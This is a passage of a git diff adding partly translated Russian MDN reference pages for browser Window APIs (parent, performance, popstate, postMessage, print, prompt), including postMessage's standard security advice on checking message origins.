+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.pageYOffset")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Window.pageXOffset", "pageXOffset")}}</li>
+ <li>{{domxref("Window.scrollY", "scrollY")}} and {{domxref("Window.scrollX", "scrollX")}}</li>
+ <li>{{domxref("Window.scroll", "scroll()")}}, {{domxref("Window.scrollBy", "scrollBy()")}}, and {{domxref("window.scrollTo", "scrollTo()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/parent/index.html b/files/ru/web/api/window/parent/index.html
new file mode 100644
index 0000000000..86c28a2e05
--- /dev/null
+++ b/files/ru/web/api/window/parent/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.parent
+slug: Web/API/Window/parent
+tags:
+  - API
+  - HTML DOM
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/parent
+---
+<p>{{APIRef}}</p>
+
+<p>Ссылка на родительский объект window или родительский iframe.</p>
+
+<p>Если у объекта window нет родителя, то свойство <span style="font-family: courier,andale mono,monospace;">parent</span> данного объекта будет ссылаться на сам объект.</p>
+
+<p>Если window загружен внутри {{htmlelement("iframe")}}, {{htmlelement("object")}}, или {{htmlelement("frame")}}, то его parent - это объект window с элементом содержащим данный window.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox"><var>parentWindow</var> = window.parent;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (window.parent != window.top) {
+  // мы находимся глубже чем один уровень
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#dom-parent">HTML5</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.frameElement")}} возвращает элемент (например <code>&lt;iframe&gt;</code>), который содержит объект  <span style="font-family: courier,andale mono,monospace;">window</span>.</li>
+ <li>{{domxref("window.top")}} возвращает ссылку на объект window самого верхнего уровня.</li>
+</ul>
diff --git a/files/ru/web/api/window/performance/index.html b/files/ru/web/api/window/performance/index.html
new file mode 100644
index 0000000000..39e11ecbf8
--- /dev/null
+++ b/files/ru/web/api/window/performance/index.html
@@ -0,0 +1,48 @@
+---
+title: Window.performance
+slug: Web/API/Window/performance
+translation_of: Web/API/Window/performance
+---
+<div>{{APIREf}}</div>
+
+<p>The Web Performance API allows web pages access to certain functions for measuring the performance of web pages and web applications, including the <a href="/en-US/docs/Navigation_timing">Navigation Timing </a>API and high-resolution time data.</p>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Performance.mark()", "performance.mark()")}}</dt>
+ <dd>Maps a {{domxref("DOMHighResTimeStamp")}} to a specified name representing the amount of milliseconds elapsed since a reference instant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Performance.now()", "performance.now()")}}</dt>
+ <dd>Возвращает {{domxref("DOMHighResTimeStamp")}} представляющий количество миллисекунд прошедшее с момента отсчета.</dd>
+ <dt><code>measure()</code></dt>
+ <dd>This method stores the <a href="http://www.w3.org/TR/hr-time/#domhighrestimestamp"><code>DOMHighResTimeStamp</code></a> duration between two marks along with the associated name (a "measure").</dd>
+ <dt><strong><code>getEntriesByType()</code></strong></dt>
+ <dd> </dd>
+ <dt><strong><code>getEntriesByType()</code></strong></dt>
+ <dd> </dd>
+ <dt><strong><code>getEntriesByName()</code></strong></dt>
+ <dd> </dd>
+ <dt><code>clearMarks()</code></dt>
+ <dd>
+ <p>If the markName argument is not specified, this method removes all marks and their associated DOMHighResTimeStamp time values.</p>
+
+ <p>If the markName argument is specified, this method removes all DOMHighResTimeStamp time values for the given mark name.</p>
+
+ <p>If the markName argument is specified but the specified markName does not exist, this method will do nothing.<br>
+   </p>
+ </dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Performance.timing", "performance.timing")}}</dt>
+ <dd>Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information.</dd>
+ <dt>{{domxref("Performance.navigation", "performance.navigation")}}</dt>
+ <dd>Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource.</dd>
+ <dt><a href="https://docs.webplatform.org/wiki/apis/timing/properties/memory">performance.memory</a></dt>
+ <dd>A non-standard extension added in Chrome.</dd>
+</dl>
diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html
new file mode 100644
index 0000000000..65c7ef6a93
--- /dev/null
+++ b/files/ru/web/api/window/popstate_event/index.html
@@ -0,0 +1,155 @@
+---
+title: popstate
+slug: Web/API/Window/popstate_event
+translation_of: Web/API/Window/popstate_event
+---
+<p>Событие <code>popstate</code> вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_pushState()_method">history.pushState()</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_replaceState()_method">history.replaceState()</a></code>, то состояние события <code>popstate</code> будет содержать <code>state </code>копии входящего в историю объекта</p>
+
+<p>Обратите внимание,  <code>history.pushState()</code> или <code>history.replaceState()</code> не вызывают событие <code>popstate</code>. Событие <code>popstate</code> будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове <code>history.back()</code> или <code> history.forward()</code> из JavaScript).</p>
+
+<p>Браузеры работают с  событием <code>popstate</code> по разному. Chrome (prior to v34) и Safari всегда вызывают <code>popstate</code> по окончании загрузки страницы, а Firefox не делает этого.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">PopStateEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>state</code> {{readonlyInline}}</td>
+   <td><em>any</em></td>
+   <td>The current history entry's state object (if any).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10.0 [3]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0[2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The implementation has limited support.</p>
+
+<p>[2] The implementation in Android 2.2 and 2.3 was buggy.</p>
+
+<p>[3] IE &amp; Edge do not fire the popstate event when the URL's hash value changes, see the <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/3740423/">bug report</a>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>A page at <code>http://example.com/example.html</code> running the following code will generate logs as indicated:</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>Note that even though the original history entry (for <code>http://example.com/example.html</code>) has no state object associated with it, a <code>popstate</code> event is still fired when we activate that entry after the second call to <code>history.back()</code>.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/hashchange"><code>hashchange</code></a></li>
+</ul>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API">Manipulating the browser history (the History API) </a></li>
+</ul>
diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html
new file mode 100644
index 0000000000..785e8fe108
--- /dev/null
+++ b/files/ru/web/api/window/postmessage/index.html
@@ -0,0 +1,245 @@
+---
+title: Window.postMessage()
+slug: Web/API/Window/postMessage
+translation_of: Web/API/Window/postMessage
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong><code>Window.postMessage()</code></strong> - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). <code>window.postMessage()</code> предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.</p>
+
+<p><font face="Open Sans, arial, x-locale-body, sans-serif">При вызове метода </font><code>window.postMessage()</code> он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если <code>window.postMessage()</code> вызвается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип  <code>message</code>, <code>data-свойство</code> которого устанавливает значение первого аргумента в методе <code>window.postMessage()</code>, свойство <code>origin</code>  соотвествует адресу основного документа в вызове <code>window.postMessage</code> во время  вызова <code>window.postMessage()</code>, свойство <code>source</code> указывает на окно, из которого <code>window.postMessage()</code> вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>otherWindow</em>.postMessage(<em>message</em>, <em>targetOrigin</em>, [<em>transfer</em>]);</pre>
+
+<dl>
+ <dt><code><em>otherWindow</em></code></dt>
+ <dd>Ссылка на другое окно; такая ссылка может быть получена, к примеру, при использовании свойства <code>contentWindow</code> элемента <code>iframe</code> , объекта, возвращаемого <a href="/en-US/docs/DOM/window.open">window.open</a>, или по именованному и числовому индексу {{domxref("Window.frames")}}, если вы пытаетесь запустить сообщение из iframe в родительском окне, то родитель также является действительной ссылкой.</dd>
+ <dt><code><em>message</em></code></dt>
+ <dd>Данные, которые нужно отправить в другое окно. Данные сериализуются с использованием алгоритма структурированного клона. Это означает, что вы можете безопасно передавать большое количество объектов данных в окно назначения без необходимости их сериализации. [<a href="/en-US/docs/">1</a>]</dd>
+ <dt><code><em>targetOrigin</em></code></dt>
+ <dd>Specifies what the origin of <code>otherWindow</code> must be for the event to be dispatched, either as the literal string <code>"*"</code> (indicating no preference) or as a URI. If at the time the event is scheduled to be dispatched the scheme, hostname, or port of <code>otherWindow</code>'s document does not match that provided in <code>targetOrigin</code>, the event will not be dispatched; only if all three match will the event be dispatched. This mechanism provides control over where messages are sent; for example, if <code>postMessage()</code> was used to transmit a password, it would be absolutely critical that this argument be a URI whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. <strong>Always provide a specific <code>targetOrigin</code>, not <code>*</code>, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site.</strong></dd>
+ <dt><code><em><strong>transfer</strong></em></code> {{optional_Inline}}</dt>
+ <dd>Is a sequence of {{domxref("Transferable")}} objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side.</dd>
+</dl>
+
+<h2 id="The_dispatched_event">The dispatched event</h2>
+
+<p>В <code>otherWindow</code> отправляемые сообщения могут быть прослушаны следующим способом:</p>
+
+<pre class="brush: js">window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+</pre>
+
+<p>Свойства отправляемых сообщений:</p>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Объект, переданный из другого окна.</dd>
+ <dt><code>origin</code></dt>
+ <dd>The <a href="/en-US/docs/Origin">origin</a> of the window that sent the message at the time <code>postMessage</code> was called. This string is the concatenation of the protocol and "://", the host name if one exists, and ":" followed by a port number if a port is present and differs from the default port for the given protocol. Examples of typical origins are <code class="nowiki">https://example.org</code> (implying port <code>443</code>), <code class="nowiki">http://example.net</code> (implying port <code>80</code>), and <code class="nowiki">http://example.com:8080</code>. Note that this origin is <em>not</em> guaranteed to be the current or future origin of that window, which might have been navigated to a different location since <code>postMessage</code> was called.</dd>
+ <dt><code>source</code></dt>
+ <dd>Ссылка на объект <code><a href="/en-US/docs/DOM/window">window</a></code> , который отправил сообщение; может быть использована для установки двустороннего соединения между окнами с разными <code>origins</code>.</dd>
+</dl>
+
+<h2 id="Вопросы_безопасности">Вопросы безопасности</h2>
+
+<p><strong>Если вы не ожидаете получения сообщения от других сайтов, не добавляйте никаких слушателей для <code>message</code> событий.</strong> Это гарантированный способ избежать проблем с безопасностью.</p>
+
+<p>Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя <code>origin</code> и возможно <code>source</code> свойства. Любой сайт (включая, например, <code class="nowiki">http://evil.example.com</code>) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.</p>
+
+<p><strong>Всегда конкретизируйте целевой первоисточник, а не просто <code>*</code>, когда вы используете <code>postMessage</code> для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием </strong><code>postMessage</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">/*
+ * In window A's scripts, with A being on &lt;http://example.com:8080&gt;:
+ */
+
+var popup = window.open(...popup details...);
+
+// When the popup has fully loaded, if not blocked by a popup blocker:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?  (might be
+  // different from what we originally opened, for example).
+  if (event.origin !== "http://example.com")
+    return;
+
+  // event.source is popup
+  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<pre class="brush: js">/*
+ * In the popup's scripts, running on &lt;http://example.com&gt;:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source is window.opener
+  // event.data is "hello there!"
+
+  // Assuming you've verified the origin of the received message (which
+  // you must do in any case), a convenient idiom for replying to a
+  // message is to call postMessage on event.source and provide
+  // event.origin as the targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p>Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages <strong>must</strong> first check the identity of the sender of the message, using the <code>origin</code> and possibly <code>source</code> properties. This cannot be overstated: <strong>Failure to check the <code>origin</code> and possibly <code>source</code> properties enables cross-site scripting attacks.</strong></p>
+
+<p>As with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of <code>postMessage</code> to detect when an event handler listening for events sent by <code>postMessage</code> throws an exception.</p>
+
+<p>The value of the <code>origin</code> property of the dispatched event is not affected by the current value of <code>document.domain</code> in the calling window.</p>
+
+<p>For IDN host names only, the value of the <code>origin</code> property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms.</p>
+
+<p>The value of the <code>origin</code> property when the sending window contains a <code>javascript:</code> or <code>data:</code> URL is the origin of the script that loaded the URL.</p>
+
+<h3 id="Using_window.postMessage_in_extensions_Non-standard_inline">Using window.postMessage in extensions {{Non-standard_inline}}</h3>
+
+<p><code>window.postMessage</code> is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the <code>source</code> property of the dispatched event is always <code>null</code> as a security restriction. (The other properties have their expected values.) The <code>targetOrigin</code> argument for a message sent to a window located at a <code>chrome:</code> URL is currently misinterpreted such that the only value which will result in a message being sent is <code>"*"</code>. Since this value is unsafe when the target window can be navigated elsewhere by a malicious site, it is recommended that <code>postMessage</code> not be used to communicate with <code>chrome:</code> pages for now; use a different method (such as a query string when the window is opened) to communicate with chrome windows. Lastly, posting a message to a page at a <code>file:</code> URL currently requires that the <code>targetOrigin</code> argument be <code>"*"</code>. <code>file://</code> cannot be used as a security restriction; this restriction may be modified in the future.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th><strong>Specification</strong></th>
+   <th><strong>Status</strong></th>
+   <th><strong>Comment</strong></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-window-postmessage", "window.postMessage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 Web Messaging')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web Messaging', '#dom-window-postmessage', 'window.postMessage')}}</td>
+   <td>{{Spec2('HTML5 Web Messaging')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><strong>Feature</strong></th>
+   <th><strong>Chrome</strong></th>
+   <th><strong>Edge</strong></th>
+   <th><strong>Firefox (Gecko)</strong></th>
+   <th><strong>Internet Explorer</strong></th>
+   <th><strong>Opera</strong></th>
+   <th><strong>Safari (WebKit)</strong></th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(6.0)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(8.0)}}<sup>[2]</sup></td>
+   <td>8.0<sup>[3]</sup><br>
+    10.0<sup>[4]</sup></td>
+   <td>9.5</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>transfer</code> argument</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(20.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><strong>Feature</strong></th>
+   <th><strong>Android</strong></th>
+   <th><strong>Edge</strong></th>
+   <th><strong>Firefox Mobile (Gecko)</strong></th>
+   <th><strong>IE Phone</strong></th>
+   <th><strong>Opera Mobile</strong></th>
+   <th><strong>Safari Mobile</strong></th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(6.0)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(8.0)}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>transfer</code> argument</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(20.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, the <code>message</code> parameter must be a string. Starting in Gecko 6.0 {{geckoRelease("6.0")}}, the <code>message</code> parameter is serialized using <a href="/en-US/docs/DOM/The_structured_clone_algorithm">the structured clone algorithm</a>. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.</p>
+
+<p>[2] Gecko 8.0 introduced support for sending {{domxref("File")}} and {{domxref("FileList")}} objects between windows. This is only allowed if the recipient's principal is contained within the sender's principal for security reasons.</p>
+
+<p>[3] IE8 and IE9 only support it for {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.</p>
+
+<p>[4] IE10 has important limitations: see this <a href="http://stackoverflow.com/questions/16226924/is-cross-origin-postmessage-broken-in-ie10">article</a> for details.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.domain")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+</ul>
diff --git a/files/ru/web/api/window/print/index.html b/files/ru/web/api/window/print/index.html
new file mode 100644
index 0000000000..458df5ff38
--- /dev/null
+++ b/files/ru/web/api/window/print/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.print()
+slug: Web/API/Window/print
+translation_of: Web/API/Window/print
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Открывает диалоговое окно для печати текущего документа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.print()
+</pre>
+
+<h2 id="Specification" name="Specification">Примечания</h2>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован внутри {{htmlelement("iframe")}} до тех пор, пока его атрибут sandbox не имеет значение <code>allow-modals</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#printing', 'print()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en/Printing" title="en/Printing">Printing</a></li>
+ <li>{{ domxref("window.onbeforeprint") }}</li>
+ <li>{{ domxref("window.onafterprint") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "zh-cn": "zh-cn/DOM/window.print" } ) }}</p>
diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..b30ebcda54
--- /dev/null
+++ b/files/ru/web/api/window/prompt/index.html
@@ -0,0 +1,77 @@
+---
+title: Window.prompt()
+slug: Web/API/Window/prompt
+translation_of: Web/API/Window/prompt
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p>Метод <code>Window.prompt()</code> отображает диалоговое окно с необязательным запросом на ввод текста.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>result</em> = window.prompt(<em>message</em>, <em>default</em>);
+</pre>
+
+<ul>
+ <li><code>result</code> — это строка, содержащая текст, поступивший от пользователя или null.</li>
+ <li><code>message</code> — это строка текста, которая показывается пользователю. Этот параметр является необязательным и может быть пропущен если в окне prompt ничего не показывать.</li>
+ <li><code>default</code> — это строка, содержащая значение по умолчанию, отображаемое в поле ввода текста. Это необязательный параметр. Обратите внимание, что в Internet Explorer 7 и 8, если вы не укажете этот параметр, строка "underfined" будет значением по умолчанию.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var sign = prompt("What's your sign?");
+
+if (sign.toLowerCase() == "scorpio") {
+  alert("Wow! I'm a Scorpio too!");
+}
+
+// есть множество способов использовать prompt
+var sign = window.prompt(); // открывается пустое окошко с запросом ввода текста
+var sign = prompt();       //  открывается пустое окошко с запросом ввода текста
+var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky"
+var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"</pre>
+
+<p>Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает <code>null</code>.</p>
+
+<p>Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):</p>
+
+<p><a href="https://mdn.mozillademos.org/files/11303/prompt.png"><img alt="prompt() dialog in Chrome on OS X" src="https://mdn.mozillademos.org/files/11303/prompt.png" style="height: 298px; width: 535px;"></a></p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введеный пользователем в текстовое поле.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Диалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диологовое окно (или модальное окно).</p>
+
+<p>Пожалуйста, обратите внимание, что результатом является строка. Это значит, что вы должны определять значение заданное пользователем. Например, если ответ должен быть Number, вы должны привести значение к Number: <span style="background-color: #f6f6f2; font-family: courier new,andale mono,monospace; font-size: 12px; line-height: normal;">var aNumber = Number(window.prompt("Type a number", "")); </span></p>
+
+<p>Пользователи <a href="/Mozilla/Firefox" title="Firefox">Mozilla Firefox</a> (например, расширений Firefox) должны использовать методы {{interface("nsIPromptService")}}.</p>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}}, этот метод блокируется внутри объекта {{htmlelement("iframe")}}, пока атрибут sandbox не будет установлен в значение <code>allow-modal</code>.</p>
+
+<p>Эта функция не действует в современной UI/Metro версии Internet Explorer для Windows 8. Он не отображает запрос для пользователя и всегда возвращает <code>undefined</code>. Неясно, является ли это ошибкой или предполагаемым поведением. Desktop версия IE выполняет функцию корректно.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}</td>
